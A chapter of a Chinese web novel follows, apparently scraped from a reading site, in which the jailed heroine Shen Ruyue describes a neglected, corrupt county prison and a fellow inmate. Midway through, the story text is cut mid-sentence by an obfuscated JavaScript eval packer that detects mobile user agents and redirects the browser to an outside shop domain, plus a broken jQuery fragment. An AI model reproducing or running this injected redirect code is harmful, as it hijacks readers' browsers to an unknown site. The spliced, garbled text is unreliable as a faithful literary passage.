原以为这些官差一个个急着把她押回衙门,就是为了问审。
谁知,等到她鞋底都磨薄了几分堪堪赶到衙门的时候,却得了县太爷已经回府歇息的消息。
看着周围官差脸上依然有些急切的模样,申如月不禁开口多问了句:“官爷,今日不问审了么?”
为首的官差看起来像是个好说话的,也不似身后的那些一般当差人那样雄壮,面上就是带了凶色不好招惹的,反而看起来和颜悦色的,身量也比较单薄。
还在屋前的雪地小坪上跪着装可怜博同情的时候,申如月就特意悄悄观察过,此人较为心善。
她说那番话时,其实当场的各位表情各不相同。有为她所说的身世单纯感到有些震惊的;也有表情上漠不关心,只当听了句闲话的;也有非常自私,面上还带了些恼色,就愁着她这情况棘手,等会儿要耽误自己交差。
唯有这领头的人,眼神中流露的恻隐之心却是实打实的。
可却依然不能多说什么,碍于欧阳府的王管家还在,只能照着所谓的“规矩”办事。
所以比起这种带了点武官性质的捉人差使,他看起来更像个眉清目秀的读书人,却又有些迂腐古板。
“问这么多干什么?你个嫌犯,老实地待在牢中等着就是!”还没等为首的官差说话,他身后的人就已经冲上前来,先反驳道。
申如月看了眼这人,和他护着的领头模样倒是对比鲜明,脸型宽圆,身材较为庞大,像一个发了面的馒头,只是没那么白净,黑黢黢的。
“阿馒,不得无礼。”为首的人抬了抬手,将黑脸人拦下了。
申如月心里一噎,愣住了。
没想到还真叫这么个名字。
领头的大概还是看她可怜,毕竟一个小女子跟着走了这么远的路,连口水也没喝上,鞋也已经全被沾湿了。
便缓了声,好心解释说:“天已全黑,灯火昏幽,现下已到了戌时,魏大人也已经回去歇息了。姑娘的事情,大约只能排到明天才能审理了。”
他没说案子,大概还是依然顾忌着申如月的几分脸面。
又用了“大约”二字,便这边意味着即便说是明天审理,也并不能确定下来,可能还会往后延期。
“官爷,当真不能再快些了么?”她顿了顿,又自觉找了个理由补充道,“我家里那生活不能自理的伤弱夫君……还等着我照顾呢。”
一旦提及此事,果然这差使的眼神又更加和善怜悯了些,他看着申如月,语气有些郑重地说道:“姑娘请勿心急。我叫石七,是分管你这案子卷宗的小差,如果遇到了什么麻烦和我说即可,我会尽可能地帮你,”
申如月谢过了小官石七的好意,又睁大了眼睛,还想继续发问。但这话还没来得及说出口,却又被石七身后的阿馒给瞪了回去。
想来他们还得找人回禀,也不便过多纠缠反而耽误人家办正事。申如月缩了脖子,自觉地回到牢中面壁。
这牢房的墙壁也早已看不见后头土砖的真面目,反而被一层青苔厚厚覆满了,就连基本牢固的石板都被侵蚀住,相较起来,她那边缘的林子破屋,都能称得上是温馨舒适。
-
直到身后落锁的声音响起,申如月才认命一般地长长地叹了一口气。
掐指一算,在这儿少说都要待上两天了。
亏得她之前还以为,现如今官府办事已经这么利落,接到了报案发现点眉目就要开始调查起来。
结果只是负责把她抓进牢里能有一个交代,剩下的问审和笔录那些就都能放一放。
如此看来,这断案讲的根本不是什么伸张正义,秉公执法,而成了似玩笑一般的蹉跎事。
锦州,尤其是她现处的成县,近些年的税收其实一直不太好,大概是气候受了一些影响,也可能和官员的治理有些关系,所以农民征上来的粮税也只是堪堪补足。
这点申如月甚至都深有体会。明明只来了一年,自己也只是靠着打猎为生,独户女子的征税一般不会强制纳入,按理来说她应该并不会知晓这事情中间的底细。
只是当地百姓一直怨声载道,而她一旦去过集市一回,也能体会到买卖的不容易,可见这地方生活得没那么富足安康。
这粮税一旦不景气,商税就更难从普通店铺掌柜那儿征齐了。
这县太爷自然不可能真任由着税收和财政赤字不管,打压百姓,强制征税,是他使用的手段之一。
但他也清楚,这百姓拖欠缴税,是这粮食的确没有了,无论如何也再挤不出来一滴。毕竟自己这地盘上的收成如何,他心里还是有点数的。
所以,顺理成章地就找了当地的税收大户下手,也就是手握槽帮生意还监管盐商的欧阳家。
头几年还能凌驾于这小小商户人家之上,只是后来这县太爷积懒成癌,变得越来越依赖,所以反被欧阳家要挟办事。
现如今已经没了回头路,县官不仅不敢和欧阳家的作对,正常地判断与他家有关的案子,甚至还得反过头来屈尊降贵地讨好他,生怕欧阳府举家搬走,以后就没人能给他交这赋税了啊!
而赋税,交了就成了官家和公家的。理应来说,成县的税收一部分是要上交到州中,再至省部朝廷,另一部分留在县里,为百姓生活发展所有。
但这都只是理应的事情,实际上并不然。
估摸着这剩余的部分多半都落到了官员自己的手中,不然怎么能这样富得流油呢?
而之所以说没有分毫花在当地的建设之上,就不说远了别的事,光从这的地牢就可以看出一二。
楼梯的两面墙壁已是年久失修,又加之锦州成县平时气候过于潮湿,现在已经长满了苔藓,一直蔓延到了地上,都很滑溜,这当差的也懒得管理,当真不怕自己夜值的时候喝多了酒给摔着,毕竟墙两边的壁灯也早成了摆设。
白日里还有楼梯入口处能渗出一点儿阳光下来,虽不明亮,但勉强也能照出个大概。而一旦入了夜,便更加漆黑一片,即便打了灯笼也总觉着眼前有瘴气一般朦胧着,让人看不清。
光凭这些,其实已经足够恶劣了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313883|152360||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,但这楼梯上下毕竟还是官差们需要路过的地方,所以竟还算这狱中最好的一处。
到了牢内,更是蛇鼠一窝。
并非指这狱中的人员鱼龙混杂素质不齐,而是实打实的全是阴沟老鼠。鼠类在幽暗地下也是常见,只是这么肥大的,真算得上稀奇。
申如月现下已非门户中的尊贵小姐,见到这些阴湿又糟糕的陋室虽然仍会心惊胆战,可毕竟是驯兽出身的,现已住惯了深林见惯了猛兽,还能怕这点小打小闹不成?
便也能稍稍沉下心来,淡然处之。
-
入狱的头天就是晚上,等了好半天,时间一刻刻过去,申如月的肚子都叫唤了几轮,却也没见人给她送点东西吃。哪怕是碗米汤,一个窝窝头也没有。
按理说真是不应该,老鼠都能养得肥胖,这狱中再怎么着都不应该少了吃食。
直到打更换班的时候,她忽而闻到了一阵食物的香气,原以为终于有人来送饭了,谁知,竟是官差们给自己准备的夜宵,和犯人没有半点关系。
她本来还在惊讶着,可回头看去,西北室中的另一隔壁牢女犯,似乎早已习惯了这些,并不侧目观视,更不会见怪。
原以为这狱中的所有人都能这样泰然面对,可看了周围其他人,脸上多少还是有点不平之色的。
对面那边牢中的男犯人更是面露凶色,倒不是歧视,而是诚然,都觉得他们光看这模样便知道,多少是烦了点什么事儿才会到这里来,大概都并不冤枉。
她收回目光,又看向了自己隔壁的女犯。
两个关押室中间惟有一扇很小的木栏窗,这并不是方便犯人之间相互交流,而是通过这窗,巡视的差使一次也能扫到更多的羁押者。
女子的侧影只通过这小窗若有若无地显现出一点,但光从她眉宇间的气质,就觉得沉稳自若,不骄不躁。即便脸上已经沾了些尘土和黑灰,也依然能看出她肤色白净,并未经受过多的风吹日晒。
身量并不瘦弱,在狱中看起来待了不短的时间,双颊和嘴唇也不苍白,大概是本身的体质就极佳。
察觉到了申如月的目光,她回望过来。
只这么一眼,申如月却从她的眼神中读到了些许惺惺相惜。
就此瞬间,几乎让申如月更加断定,这女子估摸也没犯什么大错,更有甚者,她可能就是被冤枉进来的。
“你……”申如月刚想开口,与她搭话。
她想和她结识。毕竟这女子气质不俗,绝非凡类,认识了她,且不说能得知更多这狱中相关的消息,或许以后出去也是一条不错的人脉。
可还没等她开口,那女子脸上的淡然面色却突然崩裂了,随之而来的是她的一声惊呼:“姑娘当心!”
而她话音刚落,申如月就觉得自己的身后突然挂起一阵风来,下一秒,又感到头顶一沉,似乎是有什么东西掉落到了她的头上。
一双细抓在她的头顶挠过,是有活物把她的发髻当成了窝,还在上面耀武扬威,开始翻腾!
申如月心底一沉。